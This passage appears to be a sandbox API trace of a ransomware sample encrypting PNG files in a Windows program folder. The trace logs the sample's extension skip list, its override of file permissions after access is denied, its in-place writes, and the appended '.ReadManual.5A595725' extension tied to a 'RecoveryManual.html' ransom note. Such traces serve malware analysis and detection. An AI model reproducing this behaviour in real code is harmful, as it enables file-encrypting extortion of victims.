-1 [0253.672] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.672] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.672] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.672] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.672] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.672] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.672] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.672] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.672] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.673] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.673] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.673] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" [0253.673] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.ReadManual.5A595725" [0253.673] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.ReadManual.5A595725") returned 97 [0253.673] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37434146695) returned 1 [0253.673] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0253.673] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.673] GetLastError () returned 0x5 [0253.673] GetNamedSecurityInfoW () returned 0x0 [0253.673] SetNamedSecurityInfoW () returned 0x0 [0253.673] SetNamedSecurityInfoW () returned 0x0 [0253.674] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.674] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2041) returned 1 [0253.674] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7f9, lpName=0x0) returned 0x1a0 [0253.674] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0253.675] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.675] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.676] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.677] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7f9) returned 0x2f0000 [0253.677] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.677] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37434552566) returned 1 [0253.677] CloseHandle (hObject=0x1a0) returned 1 [0253.677] SetSecurityInfo () returned 0x5 [0253.677] SetSecurityInfo () returned 0x5 [0253.677] LocalFree (hMem=0x674d38) returned 0x0 [0253.677] CloseHandle (hObject=0x184) returned 1 [0253.677] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0253.677] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_btn-over-DOT.png" | out: lpString1="Pets_btn-over-DOT.png") returned="Pets_btn-over-DOT.png" [0253.677] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="RecoveryManual.html") returned -1 [0253.677] StrStrIW (lpFirst="Pets_btn-over-DOT.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.677] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.677] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.677] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.677] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.677] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.678] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.678] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.678] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.678] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.678] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.678] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.678] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.678] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.678] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.678] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" [0253.678] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.ReadManual.5A595725" [0253.678] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.ReadManual.5A595725") returned 94 [0253.678] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37434664134) returned 1 [0253.678] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0253.679] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.679] GetLastError () returned 0x5 [0253.679] GetNamedSecurityInfoW () returned 0x0 [0253.679] SetNamedSecurityInfoW () returned 0x0 [0253.679] SetNamedSecurityInfoW () returned 0x0 [0253.680] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.680] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2891) returned 1 [0253.680] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb4b, lpName=0x0) returned 0x1a0 [0253.680] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0253.682] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.682] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.683] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.684] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb4b) returned 0x2f0000 [0253.684] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.684] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37435251813) returned 1 [0253.684] CloseHandle (hObject=0x1a0) returned 1 [0253.684] SetSecurityInfo () returned 0x5 [0253.684] SetSecurityInfo () returned 0x5 [0253.684] LocalFree (hMem=0x674d38) returned 0x0 [0253.684] CloseHandle (hObject=0x184) returned 1 [0253.684] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0253.684] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_btn-previous-over-select.png" | out: lpString1="Pets_btn-previous-over-select.png") returned="Pets_btn-previous-over-select.png" [0253.684] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="RecoveryManual.html") returned -1 [0253.684] StrStrIW (lpFirst="Pets_btn-previous-over-select.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.684] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.684] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.684] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.684] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.684] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.684] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.684] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.684] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.684] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.684] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.684] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.685] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.685] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.685] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.685] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" [0253.685] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.ReadManual.5A595725" [0253.685] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.ReadManual.5A595725") returned 106 [0253.685] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37435348381) returned 1 [0253.685] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0253.685] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.685] GetLastError () returned 0x5 [0253.685] GetNamedSecurityInfoW () returned 0x0 [0253.685] SetNamedSecurityInfoW () returned 0x0 [0253.685] SetNamedSecurityInfoW () returned 0x0 [0253.686] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.686] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3016) returned 1 [0253.686] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc8, lpName=0x0) returned 0x1a0 [0253.686] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0253.687] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.687] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.688] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.688] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc8) returned 0x2f0000 [0253.689] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.689] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37435738687) returned 1 [0253.689] CloseHandle (hObject=0x1a0) returned 1 [0253.689] SetSecurityInfo () returned 0x5 [0253.689] SetSecurityInfo () returned 0x5 [0253.689] LocalFree (hMem=0x674d38) returned 0x0 [0253.689] CloseHandle (hObject=0x184) returned 1 [0253.689] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0253.690] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_btn-previous-static.png" | out: lpString1="Pets_btn-previous-static.png") returned="Pets_btn-previous-static.png" [0253.690] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="RecoveryManual.html") returned -1 [0253.690] StrStrIW (lpFirst="Pets_btn-previous-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.690] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.690] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.690] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.690] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.690] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.690] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.690] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" [0253.690] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.ReadManual.5A595725" [0253.690] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.ReadManual.5A595725") returned 101 [0253.690] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37435886418) returned 1 [0253.690] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0253.690] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.691] GetLastError () returned 0x5 [0253.691] GetNamedSecurityInfoW () returned 0x0 [0253.691] SetNamedSecurityInfoW () returned 0x0 [0253.691] SetNamedSecurityInfoW () returned 0x0 [0253.692] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.692] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2019) returned 1 [0253.692] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e3, lpName=0x0) returned 0x1a0 [0253.692] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0253.692] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.692] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.696] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.696] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e3) returned 0x2f0000 [0253.696] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.696] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37436502041) returned 1 [0253.696] CloseHandle (hObject=0x1a0) returned 1 [0253.696] SetSecurityInfo () returned 0x5 [0253.696] SetSecurityInfo () returned 0x5 [0253.696] LocalFree (hMem=0x674d38) returned 0x0 [0253.696] CloseHandle (hObject=0x184) returned 1 [0253.697] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0253.697] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_frame-border.png" | out: lpString1="Pets_frame-border.png") returned="Pets_frame-border.png" [0253.697] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="RecoveryManual.html") returned -1 [0253.697] StrStrIW (lpFirst="Pets_frame-border.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.697] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.697] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.697] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.697] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.697] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.697] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.697] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" [0253.697] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.ReadManual.5A595725" [0253.697] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.ReadManual.5A595725") returned 94 [0253.697] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37436603878) returned 1 [0253.697] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0253.697] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.698] GetLastError () returned 0x5 [0253.698] GetNamedSecurityInfoW () returned 0x0 [0253.698] SetNamedSecurityInfoW () returned 0x0 [0253.698] SetNamedSecurityInfoW () returned 0x0 [0253.699] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.699] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=13239) returned 1 [0253.699] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33b7, lpName=0x0) returned 0x1a0 [0253.699] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0253.699] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.699] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, 